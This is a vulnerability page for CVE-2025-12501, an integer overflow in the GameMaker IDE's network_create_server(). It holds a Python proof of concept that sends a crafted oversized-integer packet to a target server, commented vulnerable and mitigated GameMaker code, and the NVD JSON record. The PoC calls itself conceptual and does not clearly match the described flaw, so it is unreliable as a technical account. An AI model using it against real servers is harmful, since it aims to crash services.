CVE-2025-12501

// CVE-2025-12501 PoC - Integer Overflow in GameMaker IDE network_create_server() // This PoC demonstrates triggering integer overflow via network request // Note: This is a conceptual PoC. Actual implementation requires GameMaker runtime. // Client-side exploit code (Python example) import socket import struct def exploit_gamemaker_server(target_ip, target_port): """ Send malicious packet to trigger integer overflow in GameMaker network server """ # Craft malicious packet with oversized values # Integer overflow occurs when these values are processed malicious_data = struct.pack('>I', 0xFFFFFFFF) # Max unsigned int malicious_data += struct.pack('>I', 0x7FFFFFFF) # Large positive int malicious_data += b'\x00' * 100 # Padding try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(malicious_data) print(f"Malicious packet sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"Error: {e}") // GameMaker script example (vulnerable code pattern) // function create_vulnerable_server() { // var server = network_create_server(network_socket_tcp, port, max_connections); // // Vulnerability: max_connections parameter not validated // // If passed a value causing overflow in internal calculations, // // can lead to crash or DoS // } // Mitigation: Always validate input parameters // function create_safe_server(port, max_connections) { // if (max_connections < 1 || max_connections > 65535) { // show_debug_message("Invalid connection limit"); // return -1; // } // return network_create_server(network_socket_tcp, port, max_connections); // }

{"cve": {"id": "CVE-2025-12501", "sourceIdentifier": "[email protected]", "published": "2025-10-31T15:15:41.420", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in GameMaker IDE below 2024.14.0 version can lead to can lead to application crashes through denial-of-service attacks (DoS). GameMaker users who use the network_create_server() function in their projects  are urged to update and recompile immediately."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://blogs.opera.com/security/2025/10/gamemaker-security-update-cve-2025-12501/", "source": "[email protected]"}]}}